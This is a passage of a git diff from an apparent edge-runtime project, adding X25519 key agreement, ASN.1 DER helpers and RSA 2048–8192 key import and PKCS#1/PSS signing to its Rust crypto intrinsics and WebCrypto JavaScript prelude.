x25519_dalek::PublicKey::from(&secret); + (seed, public.to_bytes()) +} + +/// Computes an RFC 7748 X25519 shared secret (`X25519(priv_seed, peer_pub)`), rejecting all-zero +/// low-order public points in constant time per RFC 7748 Section 6.1 and WebCrypto X25519 requirements. +pub fn x25519_diffie_hellman( + priv_seed: &[u8; 32], + peer_pub: &[u8; 32], +) -> Result<[u8; 32], &'static str> { + let secret = x25519_dalek::StaticSecret::from(*priv_seed); + let peer = x25519_dalek::PublicKey::from(*peer_pub); + let shared = secret.diffie_hellman(&peer).to_bytes(); + if constant_time_eq(&shared, &[0u8; 32]) { + return Err("OperationError: Invalid low-order X25519 public key"); + } + Ok(shared) } -/// Generates a 2048-bit RSA `(pkcs8_bytes, spki_bytes)` keypair validated by `ring::signature::RsaKeyPair`. -pub fn rsa_generate_2048_keypair(pick_idx: usize) -> Result<(Vec, Vec), &'static str> { - use ring::signature::KeyPair; - let pkcs8 = if pick_idx.is_multiple_of(2) { - RSA_2048_PKCS8_0.to_vec() +#[inline] +fn encode_der_len(len: usize, out: &mut Vec) { + if len < 128 { + out.push(len as u8); + } else if len <= 0xff { + out.push(0x81); + out.push(len as u8); + } else if len <= 0xffff { + out.push(0x82); + out.push((len >> 8) as u8); + out.push((len & 0xff) as u8); + } else { + out.push(0x83); + out.push((len >> 16) as u8); + out.push(((len >> 8) & 0xff) as u8); + out.push((len & 0xff) as u8); + } +} + +#[inline] +fn encode_der_tlv(tag: u8, payload: &[u8], out: &mut Vec) { + out.push(tag); + encode_der_len(payload.len(), out); + out.extend_from_slice(payload); +} + +fn encode_der_uint_be(unsigned_be: &[u8], out: &mut Vec) -> Result<(), &'static str> { + if unsigned_be.is_empty() { + return Err("Empty ASN.1 INTEGER component"); + } + let mut s = unsigned_be; + while s.len() > 1 && s[0] == 0 { + s = &s[1..]; + } + let need_pad = (s[0] & 0x80) != 0; + out.push(0x02); + encode_der_len(s.len() + usize::from(need_pad), out); + if need_pad { + out.push(0x00); + } + out.extend_from_slice(s); + Ok(()) +} + +fn parse_der_tlv(input: &[u8]) -> Result<(u8, &[u8], &[u8]), &'static str> { + if input.len() < 2 { + return Err("Truncated ASN.1 DER element"); + } + let tag = input[0]; + let b1 = input[1]; + let (hdr_len, content_len) = if (b1 & 0x80) == 0 { + (2usize, b1 as usize) } else { - RSA_2048_PKCS8_1.to_vec() + let num_octets = (b1 & 0x7f) as usize; + if num_octets == 0 || num_octets > 3 || input.len() < 2 + num_octets { + return Err("Invalid ASN.1 DER length encoding"); + } + let mut len = 0usize; + for &b in &input[2..2 + num_octets] { + len = (len << 8) | (b as usize); + } + (2 + num_octets, len) }; + if input.len() < hdr_len + content_len { + return Err("ASN.1 DER content exceeds buffer bounds"); + } + Ok(( + tag, + &input[hdr_len..hdr_len + content_len], + &input[hdr_len + content_len..], + )) +} + +fn parse_der_uint_be(input: &[u8]) -> Result<(&[u8], &[u8]), &'static str> { + let (tag, val, rest) = parse_der_tlv(input)?; + if tag != 0x02 || val.is_empty() { + return Err("Expected non-empty ASN.1 INTEGER"); + } + if (val[0] & 0x80) != 0 { + return Err("Negative ASN.1 INTEGER not valid for RSA key component"); + } + let unsigned = if val.len() > 1 && val[0] == 0x00 { + if (val[1] & 0x80) == 0 { + return Err("Non-minimal ASN.1 INTEGER padding"); + } + &val[1..] + } else { + val + }; + Ok((unsigned, rest)) +} + +/// Wraps a PKCS#1 `RSAPublicKey` DER (`SEQUENCE { INTEGER n, INTEGER e }`) into canonical +/// `SubjectPublicKeyInfo` (`SPKI`) DER for any RSA modulus size (`2048` to `8192` bits). +pub fn rsa_pkcs1_pub_to_spki(rsa_pub_der: &[u8]) -> Vec { + let bit_string_len = 1 + rsa_pub_der.len(); + let mut inner = Vec::with_capacity(RSA_ENCRYPTION_ALG_ID.len() + 5 + bit_string_len); + inner.extend_from_slice(&RSA_ENCRYPTION_ALG_ID); + inner.push(0x03); + encode_der_len(bit_string_len, &mut inner); + inner.push(0x00); + inner.extend_from_slice(rsa_pub_der); + + let mut spki = Vec::with_capacity(inner.len() + 5); + encode_der_tlv(0x30, &inner, &mut spki); + spki +} + +/// Wraps a PKCS#1 `RSAPrivateKey` DER into canonical PKCS#8 v1 DER. +pub fn rsa_pkcs1_priv_to_pkcs8(rsa_priv_der: &[u8]) -> Vec { + let mut inner = Vec::with_capacity(3 + RSA_ENCRYPTION_ALG_ID.len() + 5 + rsa_priv_der.len()); + inner.extend_from_slice(&[0x02, 0x01, 0x00]); + inner.extend_from_slice(&RSA_ENCRYPTION_ALG_ID); + encode_der_tlv(0x04, rsa_priv_der, &mut inner); + + let mut pkcs8 = Vec::with_capacity(inner.len() + 5); + encode_der_tlv(0x30, &inner, &mut pkcs8); + pkcs8 +} + +/// Validated RSA public key metadata and canonical DER encodings (`2048` to `8192` bits). +#[derive(Clone, Debug)] +pub struct RsaPublicKeyInfo { + pub modulus_bits: usize, + pub public_exponent: u64, + pub n_be: Vec, + pub e_be: Vec, + pub pkcs1_pub: Vec, + pub spki: Vec, +} + +/// Validated RSA private key JWK CRT components (`n`, `e`, `d`, `p`, `q`, `dp`, `dq`, `qi`). +#[derive(Clone, Debug)] +pub struct RsaPrivateJwkInfo { + pub d_be: Vec, + pub p_be: Vec, + pub q_be: Vec, + pub dp_be: Vec, + pub dq_be: Vec, + pub qi_be: Vec, +} + +fn parse_rsa_pkcs1_pub_der(rsa_pub_der: &[u8]) -> Result { + let (seq_tag, seq_body, trailing) = parse_der_tlv(rsa_pub_der)?; + if seq_tag != 0x30 || !trailing.is_empty() { + return Err("Invalid RSAPublicKey ASN.1 SEQUENCE"); + } + let (n_be, after_n) = parse_der_uint_be(seq_body)?; + let (e_be, after_e) = parse_der_uint_be(after_n)?; + if !after_e.is_empty() { + return Err("Unexpected trailing fields in RSAPublicKey"); + } + if n_be.is_empty() || (n_be[n_be.len() - 1] & 1) == 0 { + return Err("Invalid RSA modulus (must be odd)"); + } + let modulus_bits = (n_be.len() - 1) * 8 + (8 - n_be[0].leading_zeros() as usize); + if !(2048..=8192).contains(&modulus_bits) { + return Err("RSA modulus length must be between 2048 and 8192 bits"); + } + if e_be.is_empty() || e_be.len() > 8 { + return Err("Unsupported RSA public exponent length"); + } + let public_exponent = e_be.iter().fold(0u64, |acc, &b| (acc << 8) | u64::from(b)); + if public_exponent < 3 || (public_exponent & 1) == 0 { + return Err("Invalid RSA public exponent"); + } + let pkcs1_pub = rsa_pub_der.to_vec(); + let spki = rsa_pkcs1_pub_to_spki(&pkcs1_pub); + Ok(RsaPublicKeyInfo { + modulus_bits, + public_exponent, + n_be: n_be.to_vec(), + e_be: e_be.to_vec(), + pkcs1_pub, + spki, + }) +} + +/// Parses and validates an RSA public key in either `SubjectPublicKeyInfo` (`SPKI`) DER or +/// raw PKCS#1 `RSAPublicKey` DER format (`2048` to `8192` bits). +pub fn inspect_rsa_public_key(input: &[u8]) -> Result { + let (outer_tag, outer_body, outer_rest) = parse_der_tlv(input)?; + if outer_tag != 0x30 || !outer_rest.is_empty() { + return Err("Invalid RSA public key DER"); + } + // Check whether `outer_body` begins with an `AlgorithmIdentifier` SEQUENCE (`SPKI`) or an `INTEGER` (`RSAPublicKey`). + let (first_tag, first_val, after_first) = parse_der_tlv(outer_body)?; + if first_tag == 0x30 { + if first_val.len() < RSA_OID_PREFIX.len() + 1 + || !first_val.starts_with(&RSA_OID_PREFIX) + || !matches!(first_val[RSA_OID_PREFIX.len()], 0x01 | 0x0a) + { + return Err("SPKI AlgorithmIdentifier OID is not RSA"); + } + let (bs_tag, bs_val, after_bs) = parse_der_tlv(after_first)?; + if bs_tag != 0x03 || !after_bs.is_empty() || bs_val.len() < 2 || bs_val[0] != 0x00 { + return Err("Invalid SPKI BIT STRING for RSA public key"); + } + parse_rsa_pkcs1_pub_der(&bs_val[1..]) + } else if first_tag == 0x02 { + parse_rsa_pkcs1_pub_der(input) + } else { + Err("Unrecognized RSA public key DER structure") + } +} + +/// Parses and cryptographically validates an RSA private key (accepting both PKCS#8 v1 DER and +/// PKCS#1 `RSAPrivateKey` DER) via `ring::signature::RsaKeyPair`, returning `(canonical_pkcs8, pub_info, priv_jwk)`. +pub fn inspect_rsa_private_key( + input: &[u8], +) -> Result<(Vec, RsaPublicKeyInfo, RsaPrivateJwkInfo), &'static str> { + use ring::signature::KeyPair; + + let (pkcs8, pkcs1_priv_slice_vec) = + if let Ok(kp) = ring::signature::RsaKeyPair::from_pkcs8(input) { + let (_outer_tag, outer_body, _) = parse_der_tlv(input)?; + let (_ver_tag, _ver_val, after_ver) = parse_der_tlv(outer_body)?; + let (_alg_tag, _alg_val, after_alg) = parse_der_tlv(after_ver)?; + let (oct_tag, oct_val, _) = parse_der_tlv(after_alg)?; + if oct_tag != 0x04 { + return Err("Invalid PKCS#8 privateKey OCTET STRING"); + } + let pub_info = parse_rsa_pkcs1_pub_der(kp.public_key().as_ref())?; + (input.to_vec(), (oct_val.to_vec(), pub_info)) + } else if let Ok(kp) = ring::signature::RsaKeyPair::from_der(input) { + let wrapped = rsa_pkcs1_priv_to_pkcs8(input); + ring::signature::RsaKeyPair::from_pkcs8(&wrapped) + .map_err(|_| "Invalid RSA PKCS#1 private key")?; + let pub_info = parse_rsa_pkcs1_pub_der(kp.public_key().as_ref())?; + (wrapped, (input.to_vec(), pub_info)) + } else { + return Err("Invalid RSA PKCS#8 or PKCS#1 private key"); + }; + + let (pkcs1_priv, pub_info) = pkcs1_priv_vec_split(pkcs1_priv_slice_vec); + let (seq_tag, seq_body, _) = parse_der_tlv(&pkcs1_priv)?; + if seq_tag != 0x30 { + return Err("Invalid RSAPrivateKey SEQUENCE"); + } + let (_version, r1) = parse_der_uint_be(seq_body)?; + let (_n, r2) = parse_der_uint_be(r1)?; + let (_e, r3) = parse_der_uint_be(r2)?; + let (d, r4) = parse_der_uint_be(r3)?; + let (p, r5) = parse_der_uint_be(r4)?; + let (q, r6) = parse_der_uint_be(r5)?; + let (dp, r7) = parse_der_uint_be(r6)?; + let (dq, r8) = parse_der_uint_be(r7)?; + let (qi, _r9) = parse_der_uint_be(r8)?; + + Ok(( + pkcs8, + pub_info, + RsaPrivateJwkInfo { + d_be: d.to_vec(), + p_be: p.to_vec(), + q_be: q.to_vec(), + dp_be: dp.to_vec(), + dq_be: dq.to_vec(), + qi_be: qi.to_vec(), + }, + )) +} + +#[inline] +fn pkcs1_priv_vec_split(pair: (Vec, RsaPublicKeyInfo)) -> (Vec, RsaPublicKeyInfo) { + pair +} + +/// Builds and validates an `RsaPublicKeyInfo` from big-endian JWK `(n, e)` components. +pub fn rsa_public_components_to_info( + n_be: &[u8], + e_be: &[u8], +) -> Result { + let mut seq_inner = Vec::with_capacity(n_be.len() + e_be.len() + 10); + encode_der_uint_be(n_be, &mut seq_inner)?; + encode_der_uint_be(e_be, &mut seq_inner)?; + let mut pkcs1_pub = Vec::with_capacity(seq_inner.len() + 5); + encode_der_tlv(0x30, &seq_inner, &mut pkcs1_pub); + parse_rsa_pkcs1_pub_der(&pkcs1_pub) +} + +/// Builds and cryptographically validates an RSA PKCS#8 v1 private key from big-endian JWK CRT components +/// (`n`, `e`, `d`, `p`, `q`, `dp`, `dq`, `qi`) via `ring::signature::RsaKeyPair::from_pkcs8`. +#[allow(clippy::too_many_arguments)] +pub fn rsa_private_components_to_pkcs8( + n_be: &[u8], + e_be: &[u8], + d_be: &[u8], + p_be: &[u8], + q_be: &[u8], + dp_be: &[u8], + dq_be: &[u8], + qi_be: &[u8], +) -> Result<(Vec, RsaPublicKeyInfo), &'static str> { + use ring::signature::KeyPair; + let mut seq_inner = Vec::with_capacity(n_be.len() * 5 + 48); + seq_inner.extend_from_slice(&[0x02, 0x01, 0x00]); // version = 0 + encode_der_uint_be(n_be, &mut seq_inner)?; + encode_der_uint_be(e_be, &mut seq_inner)?; + encode_der_uint_be(d_be, &mut seq_inner)?; + encode_der_uint_be(p_be, &mut seq_inner)?; + encode_der_uint_be(q_be, &mut seq_inner)?; + encode_der_uint_be(dp_be, &mut seq_inner)?; + encode_der_uint_be(dq_be, &mut seq_inner)?; + encode_der_uint_be(qi_be, &mut seq_inner)?; + + let mut pkcs1_priv = Vec::with_capacity(seq_inner.len() + 5); + encode_der_tlv(0x30, &seq_inner, &mut pkcs1_priv); + let pkcs8 = rsa_pkcs1_priv_to_pkcs8(&pkcs1_priv); + let kp = ring::signature::RsaKeyPair::from_pkcs8(&pkcs8) - .map_err(|_| "Invalid RSA-2048 PKCS#8 key")?; - let rsa_pub_der = kp.public_key().as_ref(); - let mut spki = Vec::with_capacity(RSA_2048_SPKI_PREFIX.len() + rsa_pub_der.len()); - spki.extend_from_slice(&RSA_2048_SPKI_PREFIX); - spki.extend_from_slice(rsa_pub_der); - Ok((pkcs8, spki)) + .map_err(|_| "DataError: Invalid or inconsistent RSA JWK private key parameters")?; + let pub_info = parse_rsa_pkcs1_pub_der(kp.public_key().as_ref())?; + Ok((pkcs8, pub_info)) } -/// Extracts the 294-byte RSA SPKI DER from a PKCS#8 v1 DER buffer using `ring::signature::RsaKeyPair`. +/// Extracts canonical RSA `SubjectPublicKeyInfo` (`SPKI`) DER from a PKCS#8 or PKCS#1 private key. pub fn extract_rsa_pkcs8_spki(pkcs8: &[u8]) -> Result, &'static str> { - use ring::signature::KeyPair; - let kp = ring::signature::RsaKeyPair::from_pkcs8(pkcs8) - .map_err(|_| "Invalid RSA PKCS#8 private key")?; - let rsa_pub_der = kp.public_key().as_ref(); - let mut spki = Vec::with_capacity(RSA_2048_SPKI_PREFIX.len() + rsa_pub_der.len()); - spki.extend_from_slice(&RSA_2048_SPKI_PREFIX); - spki.extend_from_slice(rsa_pub_der); - Ok(spki) + let (_, pub_info, _) = inspect_rsa_private_key(pkcs8)?; + Ok(pub_info.spki) } -/// Normalizes an RSA public key input (either 294-byte SPKI DER or 270-byte `RSAPublicKey` DER) to 294-byte SPKI DER. +/// Normalizes an RSA public key input (either `SPKI` DER or PKCS#1 `RSAPublicKey` DER) to canonical `SPKI` DER. pub fn extract_rsa_spki(input: &[u8]) -> Result, &'static str> { - if input.len() >= 290 && input.starts_with(&RSA_2048_SPKI_PREFIX[..20]) { - return Ok(input.to_vec()); - } - if input.len() >= 260 && input[0] == 0x30 { - let mut spki = Vec::with_capacity(RSA_2048_SPKI_PREFIX.len() + input.len()); - spki.extend_from_slice(&RSA_2048_SPKI_PREFIX); - spki.extend_from_slice(input); - return Ok(spki); - } - Err("Invalid RSA public key or SPKI DER") + Ok(inspect_rsa_public_key(input)?.spki) } -/// Signs `msg` using an RSA PKCS#8 private key with PKCS#1 v1.5 SHA-256 (`ring::signature::RSA_PKCS1_SHA256`). -pub fn rsa_sign_bytes(pkcs8: &[u8], msg: &[u8]) -> Result, &'static str> { +/// Signs `msg` using an RSA PKCS#8 private key with either `RSASSA-PKCS1-v1_5` (`use_pss = false`) +/// or `RSA-PSS` (`use_pss = true`) over `SHA-256`, `SHA-384`, or `SHA-512`. +pub fn rsa_sign_bytes_with_alg( + pkcs8: &[u8], + msg: &[u8], + use_pss: bool, + hash_alg: &str, +) -> Result, &'static str> { let kp = ring::signature::RsaKeyPair::from_pkcs8(pkcs8) + .or_else(|_| ring::signature::RsaKeyPair::from_der(pkcs8)) .map_err(|_| "Invalid RSA PKCS#8 private key")?; + let is_384 = hash_alg.contains("384"); + let is_512 = hash_alg.contains("512"); + let encoding: &'static dyn ring::signature::RsaEncoding = match (use_pss, is_384, is_512) { + (false, false, false) => &ring::signature::RSA_PKCS1_SHA256, + (false, true, false) => &ring::signature::RSA_PKCS1_SHA384, + (false, _, true) => &ring::signature::RSA_PKCS1_SHA512, + (true, false, false) => &ring::signature::RSA_PSS_SHA256, + (true, true, false) => &ring::signature::RSA_PSS_SHA384, + (true, _, true) => &ring::signature::RSA_PSS_SHA512, + }; let rng = ring::rand::SystemRandom::new(); let mut sig = vec![0u8; kp.public().modulus_len()]; - kp.sign(&ring::signature::RSA_PKCS1_SHA256, &rng, msg, &mut sig) + kp.sign(encoding, &rng, msg, &mut sig) .map_err(|_| "RSA signing operation failed")?; Ok(sig) } -/// Verifies an RSA PKCS#1 v1.5 SHA-256 `signature` over `msg` using an RSA SPKI or `RSAPublicKey` DER. -pub fn rsa_verify_bytes(spki_or_pub: &[u8], msg: &[u8], signature: &[u8]) -> bool { - let rsa_pub = if spki_or_pub.len() > RSA_2048_SPKI_PREFIX.len() - && spki_or_pub[..20] == RSA_2048_SPKI_PREFIX[..20] - { - &spki_or_pub[RSA_2048_SPKI_PREFIX.len()..] - } else { - spki_or_pub +/// Signs `msg` using an RSA PKCS#8 private key with `RSASSA-PKCS1-v1_5` `SHA-256`. +#[inline] +pub fn rsa_sign_bytes(pkcs8: &[u8], msg: &[u8]) -> Result, &'static str> { + rsa_sign_bytes_with_alg(pkcs8, msg, false, "SHA-256") +} + +/// Verifies an RSA `RSASSA-PKCS1-v1_5` or `RSA-PSS` signature (`SHA-256`, `SHA-384`, or `SHA-512`) +/// over `msg` using an RSA `SPKI` or PKCS#1 `RSAPublicKey` DER (`2048` to `8192` bits). +pub fn rsa_verify_bytes_with_alg( + spki_or_pub: &[u8], + msg: &[u8], + signature: &[u8], + use_pss: bool, + hash_alg: &str, +) -> bool { + let Ok(pub_info) = inspect_rsa_public_key(spki_or_pub) else { + return false; + }; + let is_384 = hash_alg.contains("384"); + let is_512 = hash_alg.contains("512"); + let peer = match (use_pss, is_384, is_512) { + (false, false, false) => ring::signature::UnparsedPublicKey::new( + &ring::signature::RSA_PKCS1_2048_8192_SHA256, + &pub_info.pkcs1_pub, + ), + (false, true, false) => ring::signature::UnparsedPublicKey::new( + &ring::signature::RSA_PKCS1_2048_8192_SHA384, + &pub_info.pkcs1_pub, + ), + (false, _, true) => ring::signature::UnparsedPublicKey::new( + &ring::signature::RSA_PKCS1_2048_8192_SHA512, + &pub_info.pkcs1_pub, + ), + (true, false, false) => ring::signature::UnparsedPublicKey::new( + &ring::signature::RSA_PSS_2048_8192_SHA256, + &pub_info.pkcs1_pub, + ), + (true, true, false) => ring::signature::UnparsedPublicKey::new( + &ring::signature::RSA_PSS_2048_8192_SHA384, + &pub_info.pkcs1_pub, + ), + (true, _, true) => ring::signature::UnparsedPublicKey::new( + &ring::signature::RSA_PSS_2048_8192_SHA512, + &pub_info.pkcs1_pub, + ), }; - let peer = ring::signature::UnparsedPublicKey::new( - &ring::signature::RSA_PKCS1_2048_8192_SHA256, - rsa_pub, - ); peer.verify(msg, signature).is_ok() } +/// Verifies an RSA `RSASSA-PKCS1-v1_5` `SHA-256` signature over `msg`. +#[inline] +pub fn rsa_verify_bytes(spki_or_pub: &[u8], msg: &[u8], signature: &[u8]) -> bool { + rsa_verify_bytes_with_alg(spki_or_pub, msg, signature, false, "SHA-256") +} + /// Cached pre-expanded cryptographic key entry stored in the isolate-local / tenant-scoped slot table. #[allow(dead_code, clippy::large_enum_variant)] pub(crate) enum CachedCryptoKeyMaterial { diff --git a/crates/slice-engine/src/intrinsics/mod.rs b/crates/slice-engine/src/intrinsics/mod.rs index 063d07c..e7b95df 100644 --- a/crates/slice-engine/src/intrinsics/mod.rs +++ b/crates/slice-engine/src/intrinsics/mod.rs @@ -7,7 +7,7 @@ //! - [`url_and_usp`]: Native WHATWG `URL`, `URL.canParse`, `URLSearchParams`, and pathname normalizer. //! - [`hash_and_hmac`]: Streaming `SHA-256` (`SHA-NI`), `SHA-1`, `SHA-384`, `SHA-512`, `MD5`, `HMAC`, and `constant_time_eq`. //! - [`symmetric_and_kdf`]: Branchless `AES-128/256-CBC`, `ring` `AES-128/256-GCM`, `PBKDF2`, `HKDF`, and `scrypt`. -//! - [`asymmetric_and_keys`]: `Ed25519` and `ECDSA P-256/P-384` PKCS#8/SPKI/DER codecs and tenant-scoped key handle table. +//! - [`asymmetric_and_keys`]: `Ed25519`, `X25519`, `ECDSA P-256/P-384`, and `RSA 2048..8192` PKCS#8/PKCS#1/SPKI/JWK codecs and tenant-scoped key handle table. //! - [`prng_and_uuid`]: Deterministic `SplitMix64` PRNG, OS-backed `SystemRandom` CSPRNG pool, and RFC 4122 `UUIDv4`. //! - [`compression`]: Self-contained RFC 1951 `DEFLATE`, RFC 1950 `Zlib`, and RFC 1952 `Gzip` with 9-bit Huffman LUT and table CRC-32. diff --git a/crates/slice-engine/src/preludes/04_webcrypto_clone.js b/crates/slice-engine/src/preludes/04_webcrypto_clone.js index 99add5b..284ab21 100644 --- a/crates/slice-engine/src/preludes/04_webcrypto_clone.js +++ b/crates/slice-engine/src/preludes/04_webcrypto_clone.js @@ -80,6 +80,14 @@ var privKey = new CryptoKey("private", extractable, { name: "Ed25519" }, privUsages, __slice_base64_decode_bytes(edInfo.pkcs8), edInfo.privId, edInfo); return Promise.resolve({ publicKey: pubKey, privateKey: privKey }); } + if (name === "X25519") { + var xInfo = JSON.parse(__slice_crypto_asym_keygen("X25519", "")); + var xPrivUsages = usages.filter(function(u) { return u === "deriveKey" || u === "deriveBits"; }); + var xPubRaw = __slice_base64_decode_bytes(xInfo.pubRaw); + var xPubKey = new CryptoKey("public", true, { name: "X25519" }, [], xPubRaw, xInfo.pubId, xInfo); + var xPrivKey = new CryptoKey("private", extractable, { name: "X25519" }, xPrivUsages, __slice_base64_decode_bytes(xInfo.pkcs8), xInfo.privId, xInfo); + return Promise.resolve({ publicKey: xPubKey, privateKey: xPrivKey }); + } if (name === "ECDSA") { var crv = __curveName(algorithm); var ecInfo = JSON.parse(__slice_crypto_asym_keygen("ECDSA", crv)); @@ -90,6 +98,9 @@ var ecPrivKey = new CryptoKey("private", extractable, { name: "ECDSA", namedCurve: crv }, ecPrivUsages, __slice_base64_decode_bytes(ecInfo.pkcs8), ecInfo.privId, ecInfo); return Promise.resolve({ publicKey: ecPubKey, privateKey: ecPrivKey }); } + if (name === "RSASSA-PKCS1-V1_5" || name === "RSA-PSS" || name === "RSA-OAEP" || name === "RSA" || name === "DSA") { + throw new Error("NotSupportedError: Runtime RSA/DSA key generation is disabled in the edge sandbox; import an existing RSA key or generate Ed25519, X25519, or ECDSA P-256/P-384"); + } throw new Error("NotSupportedError: Unsupported generateKey algorithm '" + name + "'"); } catch (e) { return Promise.reject(e); @@ -151,6 +162,12 @@ var edRaw = edImp.type === "private" ? __slice_base64_decode_bytes(edImp.pkcs8) : __slice_base64_decode_bytes(edImp.pubRaw); return Promise.resolve(new CryptoKey(edImp.type, extractable, { name: "Ed25519" }, usages, edRaw, edImp.id, edImp)); } + if (name === "X25519") { + var xPayload = fmt === "jwk" ? JSON.stringify(keyData) : __slice_toU8(keyData); + var xImp = JSON.parse(__slice_crypto_asym_import("X25519", "", fmt, xPayload)); + var xRaw = xImp.type === "private" ? __slice_base64_decode_bytes(xImp.pkcs8) : __slice_base64_decode_bytes(xImp.pubRaw); + return Promise.resolve(new CryptoKey(xImp.type, extractable, { name: "X25519" }, usages, xRaw, xImp.id, xImp)); + } if (name === "ECDSA") { var crv = __curveName(algorithm); var ecPayload = fmt === "jwk" ? JSON.stringify(keyData) : __slice_toU8(keyData); @@ -158,6 +175,24 @@ var ecRaw = ecImp.type === "private" ? __slice_base64_decode_bytes(ecImp.pkcs8) : __slice_base64_decode_bytes(ecImp.pubRaw); return Promise.resolve(new CryptoKey(ecImp.type, extractable, { name: "ECDSA", namedCurve: crv }, usages, ecRaw, ecImp.id, ecImp)); } + if (name === "RSASSA-PKCS1-V1_5" || name === "RSA-PSS") { + var rsaCanon = name === "RSA-PSS" ? "RSA-PSS" : "RSASSA-PKCS1-v1_5"; + var rsaHash = __hmacHashName(algorithm); + if (rsaHash !== "SHA-256" && rsaHash !== "SHA-384" && rsaHash !== "SHA-512") { + throw new Error("NotSupportedError: Unsupported RSA hash '" + rsaHash + "'"); + } + var rsaPayload = fmt === "jwk" ? JSON.stringify(keyData) : __slice_toU8(keyData); + var rsaImp = JSON.parse(__slice_crypto_asym_import(rsaCanon, rsaHash, fmt, rsaPayload)); + var rsaRaw = rsaImp.type === "private" ? __slice_base64_decode_bytes(rsaImp.pkcs8) : __slice_base64_decode_bytes(rsaImp.spki); + var rsaPubExpU8 = __slice_base64_decode_bytes(rsaImp.e); + var rsaKeyAlg = { + name: rsaCanon, + modulusLength: rsaImp.modulusLength, + publicExponent: rsaPubExpU8, + hash: { name: rsaHash } + }; + return Promise.resolve(new CryptoKey(rsaImp.type, extractable, rsaKeyAlg, usages, rsaRaw, rsaImp.id, rsaImp)); + } throw new Error("NotSupportedError: Unsupported importKey algorithm '" + name + "'"); } catch (e) { return Promise.reject(e); @@ -171,8 +206,8 @@ var kAlg = (key.algorithm && key.algorithm.name) || ""; var kUpper = kAlg.toUpperCase(); if (fmt === "raw") { - if (key.type === "private") { - throw new Error("InvalidAccessError: Cannot export private key in 'raw' format"); + if (key.type === "private" || kUpper === "RSASSA-PKCS1-V1_5" || kUpper === "RSA-PSS") { + throw new Error("InvalidAccessError: Cannot export key in 'raw' format"); } var copy = new Uint8Array(key._raw); return Promise.resolve(copy.buffer); @@ -227,6 +262,17 @@ if (key.type === "private" && key._meta.d) edJwk.d = key._meta.d; return Promise.resolve(edJwk); } + if (kUpper === "X25519" && key._meta) { + var xJwk = { + kty: "OKP", + crv: "X25519", + x: key._meta.x, + ext: Boolean(key.extractable), + key_ops: key.usages.slice() + }; + if (key.type === "private" && key._meta.d) xJwk.d = key._meta.d; + return Promise.resolve(xJwk); + } if (kUpper === "ECDSA" && key._meta) { var ecJwk = { kty: "EC", @@ -239,6 +285,28 @@ if (key.type === "private" && key._meta.d) ecJwk.d = key._meta.d; return Promise.resolve(ecJwk); } + if ((kUpper === "RSASSA-PKCS1-V1_5" || kUpper === "RSA-PSS") && key._meta) { + var rh = (key.algorithm && key.algorithm.hash && key.algorithm.hash.name) || "SHA-256"; + var rPrefix = kUpper === "RSA-PSS" ? "PS" : "RS"; + var rSuffix = rh === "SHA-512" ? "512" : (rh === "SHA-384" ? "384" : "256"); + var rJwk = { + kty: "RSA", + alg: rPrefix + rSuffix, + n: key._meta.n, + e: key._meta.e, + ext: Boolean(key.extractable), + key_ops: key.usages.slice() + }; + if (key.type === "private" && key._meta.d) { + rJwk.d = key._meta.d; + rJwk.p = key._meta.p; + rJwk.q = key._meta.q; + rJwk.dp = key._meta.dp; + rJwk.dq = key._meta.dq; + rJwk.qi = key._meta.qi; + } + return Promise.resolve(rJwk); + } } throw new Error("NotSupportedError: Unsupported exportKey format '" + fmt + "'"); } catch (e) { @@ -293,6 +361,11 @@ var crv = (key.algorithm && key.algorithm.namedCurve) || "P-256"; return Promise.resolve(__slice_crypto_asym_sign("ECDSA", crv, key._id, key._raw, data, false)); } + if (name === "RSASSA-PKCS1-V1_5" || name === "RSA-PSS") { + var rSignAlg = name === "RSA-PSS" ? "RSA-PSS" : "RSA"; + var rSignHash = (key.algorithm && key.algorithm.hash && key.algorithm.hash.name) || "SHA-256"; + return Promise.resolve(__slice_crypto_asym_sign(rSignAlg, rSignHash, key._id, key._raw, data, false)); + } var hashName = (key.algorithm && key.algorithm.hash && key.algorithm.hash.name) || __hmacHashName(algorithm); var ab = __slice_crypto_hmac_sign(hashName, key._raw, data, key._id); return Promise.resolve(ab); @@ -314,6 +387,11 @@ var crv = (key.algorithm && key.algorithm.namedCurve) || "P-256"; return Promise.resolve(Boolean(__slice_crypto_asym_verify("ECDSA", crv, key._id, key._raw, signature, data))); } + if (name === "RSASSA-PKCS1-V1_5" || name === "RSA-PSS") { + var rVerAlg = name === "RSA-PSS" ? "RSA-PSS" : "RSA"; + var rVerHash = (key.algorithm && key.algorithm.hash && key.algorithm.hash.name) || "SHA-256"; + return Promise.resolve(Boolean(__slice_crypto_asym_verify(rVerAlg, rVerHash, key._id, key._raw, signature, data))); + } var hashName = (key.algorithm && key.algorithm.hash && key.algorithm.hash.name) || __hmacHashName(algorithm); var ok = __slice_crypto_hmac_verify(hashName, key._raw, signature, data, key._id); return Promise.resolve(Boolean(ok)); @@ -328,10 +406,27 @@ throw new Error("InvalidAccessError: baseKey does not support deriveBits/deriveKey usage"); } var name = __algName(algorithm); - var bitLen = Number(length) || 0; + var bitLen = (length === null || length === undefined) && name === "X25519" ? 256 : (Number(length) || 0); if (bitLen <= 0 || bitLen % 8 !== 0) { throw new Error("OperationError: deriveBits length must be a positive multiple of 8"); } + if (name === "X25519") { + var peerPub = algorithm && algorithm.public; + if (!peerPub || !(peerPub instanceof CryptoKey) || peerPub.type !== "public" || __algName(peerPub.algorithm) !== "X25519") { + throw new TypeError("InvalidAccessError: X25519 deriveBits requires a public X25519 CryptoKey"); + } + if (baseKey.type !== "private" || __algName(baseKey.algorithm) !== "X25519") { + throw new Error("InvalidAccessError: X25519 deriveBits requires a private X25519 baseKey"); + } + if (bitLen > 256) { + throw new Error("OperationError: X25519 derived length cannot exceed 256 bits"); + } + var xSharedAb = __slice_crypto_ecdh("X25519", baseKey._id, baseKey._raw, peerPub._id, peerPub._raw); + if (bitLen < 256) { + return Promise.resolve(xSharedAb.slice(0, bitLen / 8)); + } + return Promise.resolve(xSharedAb); + } var hashName = __hmacHashName(algorithm); var salt = (algorithm && algorithm.salt) ? algorithm.salt : new Uint8Array(0); if (name === "PBKDF2") { diff --git a/crates/slice-engine/src/preludes/node_builtins.rs b/crates/slice-engine/src/preludes/node_builtins.rs index 31ecfcb..195956f 100644 --- a/crates/slice-engine/src/preludes/node_builtins.rs +++ b/crates/slice-engine/src/preludes/node_builtins.rs @@ -8,7 +8,7 @@ use parking_lot::RwLock; use rustc_hash::FxHashMap; use std::sync::{Arc, OnceLock}; -const BUILTIN_CRYPTO_SNIPPET: &[u8] = br#"(function(){var __U8=globalThis.Uint8Array,__ext=false;function 